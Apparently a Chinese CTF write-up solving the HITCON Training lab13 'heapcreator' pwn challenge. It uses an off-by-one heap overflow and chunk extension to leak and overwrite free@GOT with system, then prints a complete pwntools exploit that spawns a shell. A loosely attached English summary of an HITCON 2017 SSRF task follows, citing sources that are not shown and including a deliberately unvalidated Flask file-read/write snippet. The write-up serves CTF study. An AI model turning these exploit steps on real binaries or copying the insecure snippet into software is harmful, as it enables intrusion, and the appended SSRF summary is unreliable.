HITCON Trainging lab13 heapcreator

本文详细解析了一次堆溢出攻击的过程,包括利用offbyone漏洞,通过chunkextend技术修改got表,最终实现system('/bin/sh')命令的执行。文章深入介绍了如何通过创建和编辑堆块来泄露和修改函数地址。

记录第一次不看任何writeup自己写出来的pwn题

前置知识:

off by one

chunk overlapping

chunk extend

一开始先看程序打开哪些保护机制

可以改got表,并且有点要注意是没开PIE,这样就不必泄露函数地址计算基址了(如果开了,这题堆上没有存放函数指针的,我也不会泄露。。)

然后分析程序,挖漏洞

首先从建堆函数看数据结构

结构分析清楚了,就找漏洞。首先我习惯看free函数O(∩_∩)O

可惜,指针已经清零了

再看看edit函数

根据数据结构,可以看到是向data中写入len_of_data+1长度的数据,因此存在off by one漏洞!!!

这里我选择溢出overlapping覆盖size,实现fastbin extend

 

思路如下:

1、我的目标是system('/bin/sh'),因此我需要修改某个函数的got表指向system。那就free吧。

2、那么我就要泄露出free_got中在内存中的真实地址。

3、通过修改某个ptr的指针,自然利用show(),打印出free_got地址。

4、怎么修改呢?就用上述所说的chunk extend技术,修改size,重新分配一个大Chunk,然后对后面的Prt肆意修改。

5、泄露之后,就直接利用edit改就行了。

6、最后就是free一个含有bin/sh的堆就行了。

 

看具体exp吧

第一步:泄露free_got

1

2

3

4

5

6

7

8

9

10

11

12

13

14

create(0x18,'aaaa')#0

create(0x10,'bbbb')#1

create(0x10,'cccc')#2

create(0x10,'/bin/sh')#3

edit(0,'a'*0x18+'\x81')#注意这个0x18

delete(1)

size = '\x08'.ljust(8,'\x00')

payload = 'd'*0x40+ size + p64(elf.got['free'])#这里的size涉及到后面修改地址时需要多长的字节

create(0x70,payload)#1

 

show(2)

cn.recvuntil('Content : ')

free_addr = u64(cn.recvuntil('Done')[:-5].ljust(8,'\x00'))

success('free_addr = '+str(hex(free_addr)))

首先必须要解释下为什么是0x18,这里涉及到chunk的知识。一个chunk在被free掉之后存在bins中,其头部含有prev_size和size没错,但一旦malloc后,这个prev_size就没用了,它只用来记录前一个空闲块的大小。因此如果我malloc0x18个字节的话多出8个字节没有对齐,会将这个prev_size也当做data段的部分分配出去,而不是下一个堆了!!!

然后呢,我要覆盖掉chunk1和chunk2的话根据结构体,我需要create 0x70个字节,加上头部就是0x81了,注意in_use位!然后计算距离chunk2的size字段需要多少数据,填充就行

这是create完四个chunk后的正常的堆的分布

这是edit(0)之后的堆分布,可以看到size位已经被该为0x81了

现在再看,已经成功将chunk2的Ptr改为free_got了

此时free_got的正常地址为0x7efc15fe44f0

能够正常泄露

第二步:修改free_got

1

2

3

4

system_addr = free_addr + lib.symbols['system']-lib.symbols['free']

success('system_addr = '+str(hex(system_addr)))

 

edit(2,p64(system_addr))

首先要计算system_addr的地址,通过libc两个函数之间的相对偏移固定的原理,利用已经泄露的free_addr得到system_addr

由于此时chunk2的ptr已经修改为free_got了,编辑chunk2就相当于改free_got了

修改后再看,发现成功篡改free_got了,如无意外就能成功了。

最后一步:

1

2

delete(3)

cn.interactive()

 

下面贴出完整exp

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

#!/usr/bin/env python

from pwn import *

#cn = remote('127.0.0.1',9527)

cn = process('./heapcreator')

elf=ELF('./heapcreator')

#context.log_level='debug'

lib = ELF('libc.so.6')

 

def create(l,value):

    cn.recvuntil('Your choice :')

    cn.sendline('1')

    cn.recvuntil('Size of Heap : ')

    cn.sendline(str(int(l)))

    cn.recvuntil('Content of heap:')

    cn.sendline(value)

 

def edit(index,value):

    cn.recvuntil('Your choice :')

    cn.sendline('2')

    cn.recvuntil('Index :')

    #if index == 2:gdb.attach(cn)

    cn.sendline(str(index))

    cn.recvuntil('Content of heap : ')

    cn.sendline(value)

def show(index):

    cn.recvuntil('Your choice :')

    gdb.attach(cn)

    cn.sendline('3')

    cn.recvuntil('Index :')

    cn.sendline(str(index))

def delete(index):

    cn.recvuntil('Your choice :')

    cn.sendline('4')

    cn.recvuntil('Index :')

    cn.sendline(str(index))

#leak free addr

create(0x18,'aaaa')#0

create(0x10,'bbbb')#1

create(0x10,'cccc')#2

create(0x10,'/bin/sh')#3

gdb.attach(cn)

edit(0,'a'*0x18+'\x81')

gdb.attach(cn)

delete(1)

size = '\x08'.ljust(8,'\x00')

payload = 'd'*0x40+ size + p64(elf.got['free'])

create(0x70,payload)#1

 

show(2)

cn.recvuntil('Content : ')

free_addr = u64(cn.recvuntil('Done')[:-5].ljust(8,'\x00'))

success('free_addr = '+str(hex(free_addr)))

#trim free_got

system_addr = free_addr + lib.symbols['system']-lib.symbols['free']

success('system_addr = '+str(hex(system_addr)))

#gdb.attach(cn)

edit(2,p64(system_addr))

#gdb.attach(cn)

show(2)

delete(3)

cn.interactive()

欢饮大家交流讨论,给我指出问题。。

### HITCON 2017 SSRF Challenge Overview The **HITCON 2017 CTF** featured a variety of challenges, including those related to Server-Side Request Forgery (SSRF). These challenges were designed to test participants' understanding of web application vulnerabilities and their ability to exploit them effectively. One notable challenge was the **SSRFme task**, which involved exploiting an SSRF vulnerability within a PHP-based system. The provided code snippet demonstrates how the `$_SERVER['HTTP_X_FORWARDED_FOR']` variable is manipulated by splitting its value using commas as delimiters[^5]. This manipulation allows attackers to control the `$http_x_headers[0]` value, potentially leading to unauthorized access or command execution scenarios. In another instance, contestants had to leverage file-writing capabilities through GET requests combined with filename parameters[^4]. By carefully crafting filenames that included shell commands such as `/readflag`, they could execute arbitrary commands on the server side. Specifically: - A request like `/?url=/&filename=aaa` would create a new file named after the specified parameter. - Subsequent exploitation steps allowed reading sensitive files from restricted directories via crafted URLs incorporating malicious payloads into both query strings (`?`) and headers. Additionally, there exists documentation regarding similar exercises where users reconstruct past competitions’ problems locally for practice purposes—such efforts often involve setting up Docker containers mimicking original environments accurately so learners may gain hands-on experience without needing direct participation during actual events themselves[^1]. For further exploration beyond just theoretical knowledge about these types of attacks but also practical implementations thereof consider reviewing additional resources discussing advanced techniques surrounding path traversal exploits alongside other common injection vectors present throughout modern-day applications today too! ```python import os from flask import Flask, request app = Flask(__name__) @app.route('/') def index(): url = request.args.get('url', '') filename = request.args.get('filename', 'default.txt') try: response = open(url) # Vulnerable line due to lack of validation content = response.read() with open(f"/tmp/{filename}", "w") as f: f.write(content) return f"Content written successfully to {filename}" except Exception as e: return str(e), 400 if __name__ == '__main__': app.run(debug=True) ```
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值